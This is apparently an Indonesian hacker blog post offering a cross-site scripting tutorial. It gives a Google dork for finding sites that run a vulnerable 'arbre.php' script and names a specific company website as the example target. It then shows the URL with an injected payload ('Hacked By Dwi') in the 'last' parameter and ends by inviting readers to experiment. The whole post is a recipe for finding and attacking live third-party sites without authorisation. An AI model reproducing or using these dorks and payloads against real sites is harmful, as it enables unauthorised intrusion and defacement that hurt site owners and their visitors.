XSS – Cross Site Scripting

Apa itu Cross Site Scripting
Jawabannya ada di sini My Notes
Exploit : XSS
Vuln : ?0=search&last=(XSS Code)
Dorks : allinurl:/dirsys/arbre.php
Langsung aja
1.Buka http://google.co.uk
2.Keywordnya : allinurl:/dirsys/arbre.php
3.Kemudian cari site nya, gw ambil contoh : http://www.printingcorporationltd.com/produits_asie/dirsys/arbre.php?
4.Ubah addressnya menjadi : http://www.printingcorporationltd.com/produits_asie/dirsys/arbre.php?0=search&last=(XSS Code)
5.XSS Code, Yang sederhana misalnya : Hacked%20By%20Dwi
6.Sehingga kalo digabungkan http://www.printingcorporationltd.com/produits_asie/dirsys/arbre.php?0=search&last=Hacked%20By%20Dwi
Hasil :
Stress Man
Widih – Broken Heart
Go’in To Be Crazy
Ini Adalah XSS
Pertamaxxx Gan By Dwi
Selamat bereksperimen